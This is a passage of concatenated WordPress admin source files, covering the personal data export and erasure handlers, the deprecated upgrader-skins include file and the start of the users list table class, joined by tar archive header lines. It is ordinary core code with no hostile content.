					'value' => get_bloginfo( 'name' ),
				),
				array(
					'name'  => _x( 'At URL', 'website URL' ),
					'value' => get_bloginfo( 'url' ),
				),
				array(
					'name'  => _x( 'On', 'date/time' ),
					'value' => current_time( 'mysql' ),
				),
			),
		),
	);

	// And now, all the Groups.
	$groups = get_post_meta( $request_id, '_export_data_grouped', true );
	if ( is_array( $groups ) ) {
		// Merge in the special "About" group.
		$groups       = array_merge( array( 'about' => $about_group ), $groups );
		$groups_count = count( $groups );
	} else {
		if ( false !== $groups ) {
			_doing_it_wrong(
				__FUNCTION__,
				/* translators: %s: Post meta key. */
				sprintf( __( 'The %s post meta must be an array.' ), '<code>_export_data_grouped</code>' ),
				'5.8.0'
			);
		}

		$groups       = null;
		$groups_count = 0;
	}

	// Convert the groups to JSON format.
	$groups_json = wp_json_encode( $groups );

	if ( false === $groups_json ) {
		$error_message = sprintf(
			/* translators: %s: Error message. */
			__( 'Unable to encode the personal data for export. Error: %s' ),
			json_last_error_msg()
		);

		wp_send_json_error( $error_message );
	}

	/*
	 * Handle the JSON export.
	 */
	$file = fopen( $json_report_pathname, 'w' );

	if ( false === $file ) {
		wp_send_json_error( __( 'Unable to open personal data export file (JSON report) for writing.' ) );
	}

	fwrite( $file, '{' );
	fwrite( $file, '"' . $title . '":' );
	fwrite( $file, $groups_json );
	fwrite( $file, '}' );
	fclose( $file );

	/*
	 * Handle the HTML export.
	 */
	$file = fopen( $html_report_pathname, 'w' );

	if ( false === $file ) {
		wp_send_json_error( __( 'Unable to open personal data export (HTML report) for writing.' ) );
	}

	fwrite( $file, "<!DOCTYPE html>\n" );
	fwrite( $file, "<html>\n" );
	fwrite( $file, "<head>\n" );
	fwrite( $file, "<meta http-equiv='Content-Type' content='text/html; charset=UTF-8' />\n" );
	fwrite( $file, "<style type='text/css'>" );
	fwrite( $file, 'body { color: black; font-family: Arial, sans-serif; font-size: 11pt; margin: 15px auto; width: 860px; }' );
	fwrite( $file, 'table { background: #f0f0f0; border: 1px solid #ddd; margin-bottom: 20px; width: 100%; }' );
	fwrite( $file, 'th { padding: 5px; text-align: left; width: 20%; }' );
	fwrite( $file, 'td { padding: 5px; }' );
	fwrite( $file, 'tr:nth-child(odd) { background-color: #fafafa; }' );
	fwrite( $file, '.return-to-top { text-align: right; }' );
	fwrite( $file, '</style>' );
	fwrite( $file, '<title>' );
	fwrite( $file, esc_html( $title ) );
	fwrite( $file, '</title>' );
	fwrite( $file, "</head>\n" );
	fwrite( $file, "<body>\n" );
	fwrite( $file, '<h1 id="top">' . esc_html__( 'Personal Data Export' ) . '</h1>' );

	// Create TOC.
	if ( $groups_count > 1 ) {
		fwrite( $file, '<div id="table_of_contents">' );
		fwrite( $file, '<h2>' . esc_html__( 'Table of Contents' ) . '</h2>' );
		fwrite( $file, '<ul>' );
		foreach ( (array) $groups as $group_id => $group_data ) {
			$group_label       = esc_html( $group_data['group_label'] );
			$group_id_attr     = sanitize_title_with_dashes( $group_data['group_label'] . '-' . $group_id );
			$group_items_count = count( (array) $group_data['items'] );
			if ( $group_items_count > 1 ) {
				$group_label .= sprintf( ' <span class="count">(%d)</span>', $group_items_count );
			}
			fwrite( $file, '<li>' );
			fwrite( $file, '<a href="#' . esc_attr( $group_id_attr ) . '">' . $group_label . '</a>' );
			fwrite( $file, '</li>' );
		}
		fwrite( $file, '</ul>' );
		fwrite( $file, '</div>' );
	}

	// Now, iterate over every group in $groups and have the formatter render it in HTML.
	foreach ( (array) $groups as $group_id => $group_data ) {
		fwrite( $file, wp_privacy_generate_personal_data_export_group_html( $group_data, $group_id, $groups_count ) );
	}

	fwrite( $file, "</body>\n" );
	fwrite( $file, "</html>\n" );
	fclose( $file );

	/*
	 * Now, generate the ZIP.
	 *
	 * If an archive has already been generated, then remove it and reuse the filename,
	 * to avoid breaking any URLs that may have been previously sent via email.
	 */
	$error = false;

	// This meta value is used from version 5.5.
	$archive_filename = get_post_meta( $request_id, '_export_file_name', true );

	// This one stored an absolute path and is used for backward compatibility.
	$archive_pathname = get_post_meta( $request_id, '_export_file_path', true );

	// If a filename meta exists, use it.
	if ( ! empty( $archive_filename ) ) {
		$archive_pathname = $exports_dir . $archive_filename;
	} elseif ( ! empty( $archive_pathname ) ) {
		// If a full path meta exists, use it and create the new meta value.
		$archive_filename = basename( $archive_pathname );

		update_post_meta( $request_id, '_export_file_name', $archive_filename );

		// Remove the back-compat meta values.
		delete_post_meta( $request_id, '_export_file_url' );
		delete_post_meta( $request_id, '_export_file_path' );
	} else {
		// If there's no filename or full path stored, create a new file.
		$archive_filename = $file_basename . '.zip';
		$archive_pathname = $exports_dir . $archive_filename;

		update_post_meta( $request_id, '_export_file_name', $archive_filename );
	}

	$archive_url = $exports_url . $archive_filename;

	if ( ! empty( $archive_pathname ) && file_exists( $archive_pathname ) ) {
		wp_delete_file( $archive_pathname );
	}

	$zip = new ZipArchive();
	if ( true === $zip->open( $archive_pathname, ZipArchive::CREATE ) ) {
		if ( ! $zip->addFile( $json_report_pathname, 'export.json' ) ) {
			$error = __( 'Unable to archive the personal data export file (JSON format).' );
		}

		if ( ! $zip->addFile( $html_report_pathname, 'index.html' ) ) {
			$error = __( 'Unable to archive the personal data export file (HTML format).' );
		}

		$zip->close();

		if ( ! $error ) {
			/**
			 * Fires right after all personal data has been written to the export file.
			 *
			 * @since 4.9.6
			 * @since 5.4.0 Added the `$json_report_pathname` parameter.
			 *
			 * @param string $archive_pathname     The full path to the export file on the filesystem.
			 * @param string $archive_url          The URL of the archive file.
			 * @param string $html_report_pathname The full path to the HTML personal data report on the filesystem.
			 * @param int    $request_id           The export request ID.
			 * @param string $json_report_pathname The full path to the JSON personal data report on the filesystem.
			 */
			do_action( 'wp_privacy_personal_data_export_file_created', $archive_pathname, $archive_url, $html_report_pathname, $request_id, $json_report_pathname );
		}
	} else {
		$error = __( 'Unable to open personal data export file (archive) for writing.' );
	}

	// Remove the JSON file.
	unlink( $json_report_pathname );

	// Remove the HTML file.
	unlink( $html_report_pathname );

	if ( $error ) {
		wp_send_json_error( $error );
	}
}

/**
 * Send an email to the user with a link to the personal data export file
 *
 * @since 4.9.6
 *
 * @param int $request_id The request ID for this personal data export.
 * @return true|WP_Error True on success or `WP_Error` on failure.
 */
function wp_privacy_send_personal_data_export_email( $request_id ) {
	// Get the request.
	$request = wp_get_user_request( $request_id );

	if ( ! $request || 'export_personal_data' !== $request->action_name ) {
		return new WP_Error( 'invalid_request', __( 'Invalid request ID when sending personal data export email.' ) );
	}

	// Localize message content for user; fallback to site default for visitors.
	if ( ! empty( $request->user_id ) ) {
		$switched_locale = switch_to_user_locale( $request->user_id );
	} else {
		$switched_locale = switch_to_locale( get_locale() );
	}

	/** This filter is documented in wp-includes/functions.php */
	$expiration      = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS );
	$expiration_date = date_i18n( get_option( 'date_format' ), time() + $expiration );

	$exports_url      = wp_privacy_exports_url();
	$export_file_name = get_post_meta( $request_id, '_export_file_name', true );
	$export_file_url  = $exports_url . $export_file_name;

	$site_name = wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES );
	$site_url  = home_url();

	/**
	 * Filters the recipient of the personal data export email notification.
	 * Should be used with great caution to avoid sending the data export link to wrong emails.
	 *
	 * @since 5.3.0
	 *
	 * @param string          $request_email The email address of the notification recipient.
	 * @param WP_User_Request $request       The request that is initiating the notification.
	 */
	$request_email = apply_filters( 'wp_privacy_personal_data_email_to', $request->email, $request );

	$email_data = array(
		'request'           => $request,
		'expiration'        => $expiration,
		'expiration_date'   => $expiration_date,
		'message_recipient' => $request_email,
		'export_file_url'   => $export_file_url,
		'sitename'          => $site_name,
		'siteurl'           => $site_url,
	);

	/* translators: Personal data export notification email subject. %s: Site title. */
	$subject = sprintf( __( '[%s] Personal Data Export' ), $site_name );

	/**
	 * Filters the subject of the email sent when an export request is completed.
	 *
	 * @since 5.3.0
	 *
	 * @param string $subject    The email subject.
	 * @param string $sitename   The name of the site.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request           User request object.
	 *     @type int             $expiration        The time in seconds until the export file expires.
	 *     @type string          $expiration_date   The localized date and time when the export file expires.
	 *     @type string          $message_recipient The address that the email will be sent to. Defaults
	 *                                              to the value of `$request->email`, but can be changed
	 *                                              by the `wp_privacy_personal_data_email_to` filter.
	 *     @type string          $export_file_url   The export file URL.
	 *     @type string          $sitename          The site name sending the mail.
	 *     @type string          $siteurl           The site URL sending the mail.
	 * }
	 */
	$subject = apply_filters( 'wp_privacy_personal_data_email_subject', $subject, $site_name, $email_data );

	/* translators: Do not translate EXPIRATION, LINK, SITENAME, SITEURL: those are placeholders. */
	$email_text = __(
		'Howdy,

Your request for an export of personal data has been completed. You may
download your personal data by clicking on the link below. For privacy
and security, we will automatically delete the file on ###EXPIRATION###,
so please download it before then.

###LINK###

Regards,
All at ###SITENAME###
###SITEURL###'
	);

	/**
	 * Filters the text of the email sent with a personal data export file.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 * ###EXPIRATION###         The date when the URL will be automatically deleted.
	 * ###LINK###               URL of the personal data export file for the user.
	 * ###SITENAME###           The name of the site.
	 * ###SITEURL###            The URL to the site.
	 *
	 * @since 4.9.6
	 * @since 5.3.0 Introduced the `$email_data` array.
	 *
	 * @param string $email_text Text in the email.
	 * @param int    $request_id The request ID for this personal data export.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request           User request object.
	 *     @type int             $expiration        The time in seconds until the export file expires.
	 *     @type string          $expiration_date   The localized date and time when the export file expires.
	 *     @type string          $message_recipient The address that the email will be sent to. Defaults
	 *                                              to the value of `$request->email`, but can be changed
	 *                                              by the `wp_privacy_personal_data_email_to` filter.
	 *     @type string          $export_file_url   The export file URL.
	 *     @type string          $sitename          The site name sending the mail.
	 *     @type string          $siteurl           The site URL sending the mail.
	 */
	$content = apply_filters( 'wp_privacy_personal_data_email_content', $email_text, $request_id, $email_data );

	$content = str_replace( '###EXPIRATION###', $expiration_date, $content );
	$content = str_replace( '###LINK###', sanitize_url( $export_file_url ), $content );
	$content = str_replace( '###EMAIL###', $request_email, $content );
	$content = str_replace( '###SITENAME###', $site_name, $content );
	$content = str_replace( '###SITEURL###', sanitize_url( $site_url ), $content );

	$headers = '';

	/**
	 * Filters the headers of the email sent with a personal data export file.
	 *
	 * @since 5.4.0
	 *
	 * @param string|array $headers    The email headers.
	 * @param string       $subject    The email subject.
	 * @param string       $content    The email content.
	 * @param int          $request_id The request ID.
	 * @param array        $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request           User request object.
	 *     @type int             $expiration        The time in seconds until the export file expires.
	 *     @type string          $expiration_date   The localized date and time when the export file expires.
	 *     @type string          $message_recipient The address that the email will be sent to. Defaults
	 *                                              to the value of `$request->email`, but can be changed
	 *                                              by the `wp_privacy_personal_data_email_to` filter.
	 *     @type string          $export_file_url   The export file URL.
	 *     @type string          $sitename          The site name sending the mail.
	 *     @type string          $siteurl           The site URL sending the mail.
	 * }
	 */
	$headers = apply_filters( 'wp_privacy_personal_data_email_headers', $headers, $subject, $content, $request_id, $email_data );

	$mail_success = wp_mail( $request_email, $subject, $content, $headers );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	if ( ! $mail_success ) {
		return new WP_Error( 'privacy_email_error', __( 'Unable to send personal data export email.' ) );
	}

	return true;
}

/**
 * Intercept personal data exporter page Ajax responses in order to assemble the personal data export file.
 *
 * @since 4.9.6
 *
 * @see 'wp_privacy_personal_data_export_page'
 *
 * @param array  $response        The response from the personal data exporter for the given page.
 * @param int    $exporter_index  The index of the personal data exporter. Begins at 1.
 * @param string $email_address   The email address of the user whose personal data this is.
 * @param int    $page            The page of personal data for this exporter. Begins at 1.
 * @param int    $request_id      The request ID for this personal data export.
 * @param bool   $send_as_email   Whether the final results of the export should be emailed to the user.
 * @param string $exporter_key    The slug (key) of the exporter.
 * @return array The filtered response.
 */
function wp_privacy_process_personal_data_export_page( $response, $exporter_index, $email_address, $page, $request_id, $send_as_email, $exporter_key ) {
	/* Do some simple checks on the shape of the response from the exporter.
	 * If the exporter response is malformed, don't attempt to consume it - let it
	 * pass through to generate a warning to the user by default Ajax processing.
	 */
	if ( ! is_array( $response ) ) {
		return $response;
	}

	if ( ! array_key_exists( 'done', $response ) ) {
		return $response;
	}

	if ( ! array_key_exists( 'data', $response ) ) {
		return $response;
	}

	if ( ! is_array( $response['data'] ) ) {
		return $response;
	}

	// Get the request.
	$request = wp_get_user_request( $request_id );

	if ( ! $request || 'export_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request ID when merging personal data to export.' ) );
	}

	$export_data = array();

	// First exporter, first page? Reset the report data accumulation array.
	if ( 1 === $exporter_index && 1 === $page ) {
		update_post_meta( $request_id, '_export_data_raw', $export_data );
	} else {
		$accumulated_data = get_post_meta( $request_id, '_export_data_raw', true );

		if ( $accumulated_data ) {
			$export_data = $accumulated_data;
		}
	}

	// Now, merge the data from the exporter response into the data we have accumulated already.
	$export_data = array_merge( $export_data, $response['data'] );
	update_post_meta( $request_id, '_export_data_raw', $export_data );

	// If we are not yet on the last page of the last exporter, return now.
	/** This filter is documented in wp-admin/includes/ajax-actions.php */
	$exporters        = apply_filters( 'wp_privacy_personal_data_exporters', array() );
	$is_last_exporter = count( $exporters ) === $exporter_index;
	$exporter_done    = $response['done'];
	if ( ! $is_last_exporter || ! $exporter_done ) {
		return $response;
	}

	// Last exporter, last page - let's prepare the export file.

	// First we need to re-organize the raw data hierarchically in groups and items.
	$groups = array();
	foreach ( (array) $export_data as $export_datum ) {
		$group_id    = $export_datum['group_id'];
		$group_label = $export_datum['group_label'];

		$group_description = '';
		if ( ! empty( $export_datum['group_description'] ) ) {
			$group_description = $export_datum['group_description'];
		}

		if ( ! array_key_exists( $group_id, $groups ) ) {
			$groups[ $group_id ] = array(
				'group_label'       => $group_label,
				'group_description' => $group_description,
				'items'             => array(),
			);
		}

		$item_id = $export_datum['item_id'];
		if ( ! array_key_exists( $item_id, $groups[ $group_id ]['items'] ) ) {
			$groups[ $group_id ]['items'][ $item_id ] = array();
		}

		$old_item_data                            = $groups[ $group_id ]['items'][ $item_id ];
		$merged_item_data                         = array_merge( $export_datum['data'], $old_item_data );
		$groups[ $group_id ]['items'][ $item_id ] = $merged_item_data;
	}

	// Then save the grouped data into the request.
	delete_post_meta( $request_id, '_export_data_raw' );
	update_post_meta( $request_id, '_export_data_grouped', $groups );

	/**
	 * Generate the export file from the collected, grouped personal data.
	 *
	 * @since 4.9.6
	 *
	 * @param int $request_id The export request ID.
	 */
	do_action( 'wp_privacy_personal_data_export_file', $request_id );

	// Clear the grouped data now that it is no longer needed.
	delete_post_meta( $request_id, '_export_data_grouped' );

	// If the destination is email, send it now.
	if ( $send_as_email ) {
		$mail_success = wp_privacy_send_personal_data_export_email( $request_id );
		if ( is_wp_error( $mail_success ) ) {
			wp_send_json_error( $mail_success->get_error_message() );
		}

		// Update the request to completed state when the export email is sent.
		_wp_privacy_completed_request( $request_id );
	} else {
		// Modify the response to include the URL of the export file so the browser can fetch it.
		$exports_url      = wp_privacy_exports_url();
		$export_file_name = get_post_meta( $request_id, '_export_file_name', true );
		$export_file_url  = $exports_url . $export_file_name;

		if ( ! empty( $export_file_url ) ) {
			$response['url'] = $export_file_url;
		}
	}

	return $response;
}

/**
 * Mark erasure requests as completed after processing is finished.
 *
 * This intercepts the Ajax responses to personal data eraser page requests, and
 * monitors the status of a request. Once all of the processing has finished, the
 * request is marked as completed.
 *
 * @since 4.9.6
 *
 * @see 'wp_privacy_personal_data_erasure_page'
 *
 * @param array  $response      The response from the personal data eraser for
 *                              the given page.
 * @param int    $eraser_index  The index of the personal data eraser. Begins
 *                              at 1.
 * @param string $email_address The email address of the user whose personal
 *                              data this is.
 * @param int    $page          The page of personal data for this eraser.
 *                              Begins at 1.
 * @param int    $request_id    The request ID for this personal data erasure.
 * @return array The filtered response.
 */
function wp_privacy_process_personal_data_erasure_page( $response, $eraser_index, $email_address, $page, $request_id ) {
	/*
	 * If the eraser response is malformed, don't attempt to consume it; let it
	 * pass through, so that the default Ajax processing will generate a warning
	 * to the user.
	 */
	if ( ! is_array( $response ) ) {
		return $response;
	}

	if ( ! array_key_exists( 'done', $response ) ) {
		return $response;
	}

	if ( ! array_key_exists( 'items_removed', $response ) ) {
		return $response;
	}

	if ( ! array_key_exists( 'items_retained', $response ) ) {
		return $response;
	}

	if ( ! array_key_exists( 'messages', $response ) ) {
		return $response;
	}

	// Get the request.
	$request = wp_get_user_request( $request_id );

	if ( ! $request || 'remove_personal_data' !== $request->action_name ) {
		wp_send_json_error( __( 'Invalid request ID when processing personal data to erase.' ) );
	}

	/** This filter is documented in wp-admin/includes/ajax-actions.php */
	$erasers        = apply_filters( 'wp_privacy_personal_data_erasers', array() );
	$is_last_eraser = count( $erasers ) === $eraser_index;
	$eraser_done    = $response['done'];

	if ( ! $is_last_eraser || ! $eraser_done ) {
		return $response;
	}

	_wp_privacy_completed_request( $request_id );

	/**
	 * Fires immediately after a personal data erasure request has been marked completed.
	 *
	 * @since 4.9.6
	 *
	 * @param int $request_id The privacy request post ID associated with this request.
	 */
	do_action( 'wp_privacy_personal_data_erased', $request_id );

	return $response;
}
class-wp-upgrader-skins.php.tar000064400000006000150275632050012530 0ustar00home/natitnen/crestassured.com/wp-admin/includes/class-wp-upgrader-skins.php000064400000002705150274174270023335 0ustar00<?php
/**
 * The User Interface "Skins" for the WordPress File Upgrader
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 2.8.0
 * @deprecated 4.7.0
 */

_deprecated_file( basename( __FILE__ ), '4.7.0', 'class-wp-upgrader.php' );

/** WP_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php';

/** Plugin_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-upgrader-skin.php';

/** Theme_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-theme-upgrader-skin.php';

/** Bulk_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-upgrader-skin.php';

/** Bulk_Plugin_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-plugin-upgrader-skin.php';

/** Bulk_Theme_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-bulk-theme-upgrader-skin.php';

/** Plugin_Installer_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-plugin-installer-skin.php';

/** Theme_Installer_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-theme-installer-skin.php';

/** Language_Pack_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-language-pack-upgrader-skin.php';

/** Automatic_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-automatic-upgrader-skin.php';

/** WP_Ajax_Upgrader_Skin class */
require_once ABSPATH . 'wp-admin/includes/class-wp-ajax-upgrader-skin.php';
class-wp-users-list-table.php000064400000045163150275632050012221 0ustar00<?php
/**
 * List Table API: WP_Users_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying users in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Users_List_Table extends WP_List_Table {

	/**
	 * Site ID to generate the Users list table for.
	 *
	 * @since 3.1.0
	 * @var int
	 */
	public $site_id;

	/**
	 * Whether or not the current Users list table is for Multisite.
	 *
	 * @since 3.1.0
	 * @var bool
	 */
	public $is_site_users;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		parent::__construct(
			array(
				'singular' => 'user',
				'plural'   => 'users',
				'screen'   => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);

		$this->is_site_users = 'site-users-network' === $this->screen->id;

		if ( $this->is_site_users ) {
			$this->site_id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;
		}
	}

	/**
	 * Checks the current user's permissions.
	 *
	 * @since 3.1.0
	 *
	 * @return bool
	 */
	public function ajax_user_can() {
		if ( $this->is_site_users ) {
			return current_user_can( 'manage_sites' );
		} else {
			return current_user_can( 'list_users' );
		}
	}

	/**
	 * Prepares the users list for display.
	 *
	 * @since 3.1.0
	 *
	 * @global string $role
	 * @global string $usersearch
	 */
	public function prepare_items() {
		global $role, $usersearch;

		$usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';

		$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';

		$per_page       = ( $this->is_site_users ) ? 'site_users_network_per_page' : 'users_per_page';
		$users_per_page = $this->get_items_per_page( $per_page );

		$paged = $this->get_pagenum();

		if ( 'none' === $role ) {
			$args = array(
				'number'  => $users_per_page,
				'offset'  => ( $paged - 1 ) * $users_per_page,
				'include' => wp_get_users_with_no_role( $this->site_id ),
				'search'  => $usersearch,
				'fields'  => 'all_with_meta',
			);
		} else {
			$args = array(
				'number' => $users_per_page,
				'offset' => ( $paged - 1 ) * $users_per_page,
				'role'   => $role,
				'search' => $usersearch,
				'fields' => 'all_with_meta',
			);
		}

		if ( '' !== $args['search'] ) {
			$args['search'] = '*' . $args['search'] . '*';
		}

		if ( $this->is_site_users ) {
			$args['blog_id'] = $this->site_id;
		}

		if ( isset( $_REQUEST['orderby'] ) ) {
			$args['orderby'] = $_REQUEST['orderby'];
		}

		if ( isset( $_REQUEST['order'] ) ) {
			$args['order'] = $_REQUEST['order'];
		}

		/**
		 * Filters the query arguments used to retrieve users for the current users list table.
		 *
		 * @since 4.4.0
		 *
		 * @param array $args Arguments passed to WP_User_Query to retrieve items for the current
		 *                    users list table.
		 */
		$args = apply_filters( 'users_list_table_query_args', $args );

		// Query the user IDs for this page.
		$wp_user_search = new WP_User_Query( $args );

		$this->items = $wp_user_search->get_results();

		$this->set_pagination_args(
			array(
				'total_items' => $wp_user_search->get_total(),
				'per_page'    => $users_per_page,
			)
		);
	}

	/**
	 * Outputs 'no users' message.
	 *
	 * @since 3.1.0
	 */
	public function no_items() {
		_e( 'No users found.' );
	}

	/**
	 * Returns an associative array listing all the views that can be used
	 * with this table.
	 *
	 * Provides a list of roles and user count for that role for easy
	 * Filtersing of the user table.
	 *
	 * @since 3.1.0
	 *
	 * @global string $role
	 *
	 * @return string[] An array of HTML links keyed by their view.
	 */
	protected function get_views() {
		global $role;

		$wp_roles = wp_roles();

		$count_users = ! wp_is_large_user_count();

		if ( $this->is_site_users ) {
			$url = 'site-users.php?id=' . $this->site_id;
		} else {
			$url = 'users.php';
		}

		$role_links  = array();
		$avail_roles = array();
		$all_text    = __( 'All' );

		if ( $count_users ) {
			if ( $this->is_site_users ) {
				switch_to_blog( $this->site_id );
				$users_of_blog = count_users( 'time', $this->site_id );
				restore_current_blog();
			} else {
				$users_of_blog = count_users();
			}

			$total_users = $users_of_blog['total_users'];
			$avail_roles =& $users_of_blog['avail_roles'];
			unset( $users_of_blog );

			$all_text = sprintf(
				/* translators: %s: Number of users. */
				_nx(
					'All <span class="count">(%s)</span>',
					'All <span class="count">(%s)</span>',
					$total_users,
					'users'
				),
				number_format_i18n( $total_users )
			);
		}

		$role_links['all'] = array(
			'url'     => $url,
			'label'   => $all_text,
			'current' => empty( $role ),
		);

		foreach ( $wp_roles->get_names() as $this_role => $name ) {
			if ( $count_users && ! isset( $avail_roles[ $this_role ] ) ) {
				continue;
			}

			$name = translate_user_role( $name );
			if ( $count_users ) {
				$name = sprintf(
					/* translators: 1: User role name, 2: Number of users. */
					__( '%1$s <span class="count">(%2$s)</span>' ),
					$name,
					number_format_i18n( $avail_roles[ $this_role ] )
				);
			}

			$role_links[ $this_role ] = array(
				'url'     => esc_url( add_query_arg( 'role', $this_role, $url ) ),
				'label'   => $name,
				'current' => $this_role === $role,
			);
		}

		if ( ! empty( $avail_roles['none'] ) ) {

			$name = __( 'No role' );
			$name = sprintf(
				/* translators: 1: User role name, 2: Number of users. */
				__( '%1$s <span class="count">(%2$s)</span>' ),
				$name,
				number_format_i18n( $avail_roles['none'] )
			);

			$role_links['none'] = array(
				'url'     => esc_url( add_query_arg( 'role', 'none', $url ) ),
				'label'   => $name,
				'current' => 'none' === $role,
			);
		}

		return $this->get_views_links( $role_links );
	}

	/**
	 * Retrieves an associative array of bulk actions available on this table.
	 *
	 * @since 3.1.0
	 *
	 * @return array Array of bulk action labels keyed by their action.
	 */
	protected function get_bulk_actions() {
		$actions = array();

		if ( is_multisite() ) {
			if ( current_user_can( 'remove_users' ) ) {
				$actions['remove'] = __( 'Remove' );
			}
		} else {
			if ( current_user_can( 'delete_users' ) ) {
				$actions['delete'] = __( 'Delete' );
			}
		}

		// Add a password reset link to the bulk actions dropdown.
		if ( current_user_can( 'edit_users' ) ) {
			$actions['resetpassword'] = __( 'Send password reset' );
		}

		return $actions;
	}

	/**
	 * Outputs the controls to allow user roles to be changed in bulk.
	 *
	 * @since 3.1.0
	 *
	 * @param string $which Whether this is being invoked above ("top")
	 *                      or below the table ("bottom").
	 */
	protected function extra_tablenav( $which ) {
		$id        = 'bottom' === $which ? 'new_role2' : 'new_role';
		$button_id = 'bottom' === $which ? 'changeit2' : 'changeit';
		?>
	<div class="alignleft actions">
		<?php if ( current_user_can( 'promote_users' ) && $this->has_items() ) : ?>
		<label class="screen-reader-text" for="<?php echo $id; ?>">
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Change role to&hellip;' );
			?>
		</label>
		<select name="<?php echo $id; ?>" id="<?php echo $id; ?>">
			<option value=""><?php _e( 'Change role to&hellip;' ); ?></option>
			<?php wp_dropdown_roles(); ?>
			<option value="none"><?php _e( '&mdash; No role for this site &mdash;' ); ?></option>
		</select>
			<?php
			submit_button( __( 'Change' ), '', $button_id, false );
		endif;

		/**
		 * Fires just before the closing div containing the bulk role-change controls
		 * in the Users list table.
		 *
		 * @since 3.5.0
		 * @since 4.6.0 The `$which` parameter was added.
		 *
		 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
		 */
		do_action( 'restrict_manage_users', $which );
		?>
		</div>
		<?php
		/**
		 * Fires immediately following the closing "actions" div in the tablenav for the users
		 * list table.
		 *
		 * @since 4.9.0
		 *
		 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
		 */
		do_action( 'manage_users_extra_tablenav', $which );
	}

	/**
	 * Captures the bulk action required, and return it.
	 *
	 * Overridden from the base class implementation to capture
	 * the role change drop-down.
	 *
	 * @since 3.1.0
	 *
	 * @return string The bulk action required.
	 */
	public function current_action() {
		if ( isset( $_REQUEST['changeit'] ) ) {
			return 'promote';
		}

		return parent::current_action();
	}

	/**
	 * Gets a list of columns for the list table.
	 *
	 * @since 3.1.0
	 *
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$columns = array(
			'cb'       => '<input type="checkbox" />',
			'username' => __( 'Username' ),
			'name'     => __( 'Name' ),
			'email'    => __( 'Email' ),
			'role'     => __( 'Role' ),
			'posts'    => _x( 'Posts', 'post type general name' ),
		);

		if ( $this->is_site_users ) {
			unset( $columns['posts'] );
		}

		return $columns;
	}

	/**
	 * Gets a list of sortable columns for the list table.
	 *
	 * @since 3.1.0
	 *
	 * @return array Array of sortable columns.
	 */
	protected function get_sortable_columns() {
		$columns = array(
			'username' => array( 'login', false, __( 'Username' ), __( 'Table ordered by Username.' ), 'asc' ),
			'email'    => array( 'email', false, __( 'E-mail' ), __( 'Table ordered by E-mail.' ) ),
		);

		return $columns;
	}

	/**
	 * Generates the list table rows.
	 *
	 * @since 3.1.0
	 */
	public function display_rows() {
		// Query the post counts for this page.
		if ( ! $this->is_site_users ) {
			$post_counts = count_many_users_posts( array_keys( $this->items ) );
		}

		foreach ( $this->items as $userid => $user_object ) {
			echo "\n\t" . $this->single_row( $user_object, '', '', isset( $post_counts ) ? $post_counts[ $userid ] : 0 );
		}
	}

	/**
	 * Generates HTML for a single row on the users.php admin panel.
	 *
	 * @since 3.1.0
	 * @since 4.2.0 The `$style` parameter was deprecated.
	 * @since 4.4.0 The `$role` parameter was deprecated.
	 *
	 * @param WP_User $user_object The current user object.
	 * @param string  $style       Deprecated. Not used.
	 * @param string  $role        Deprecated. Not used.
	 * @param int     $numposts    Optional. Post count to display for this user. Defaults
	 *                             to zero, as in, a new user has made zero posts.
	 * @return string Output for a single row.
	 */
	public function single_row( $user_object, $style = '', $role = '', $numposts = 0 ) {
		if ( ! ( $user_object instanceof WP_User ) ) {
			$user_object = get_userdata( (int) $user_object );
		}
		$user_object->filter = 'display';
		$email               = $user_object->user_email;

		if ( $this->is_site_users ) {
			$url = "site-users.php?id={$this->site_id}&amp;";
		} else {
			$url = 'users.php?';
		}

		$user_roles = $this->get_role_list( $user_object );

		// Set up the hover actions for this user.
		$actions     = array();
		$checkbox    = '';
		$super_admin = '';

		if ( is_multisite() && current_user_can( 'manage_network_users' ) ) {
			if ( in_array( $user_object->user_login, get_super_admins(), true ) ) {
				$super_admin = ' &mdash; ' . __( 'Super Admin' );
			}
		}

		// Check if the user for this row is editable.
		if ( current_user_can( 'list_users' ) ) {
			// Set up the user editing link.
			$edit_link = esc_url(
				add_query_arg(
					'wp_http_referer',
					urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ),
					get_edit_user_link( $user_object->ID )
				)
			);

			if ( current_user_can( 'edit_user', $user_object->ID ) ) {
				$edit            = "<strong><a href=\"{$edit_link}\">{$user_object->user_login}</a>{$super_admin}</strong><br />";
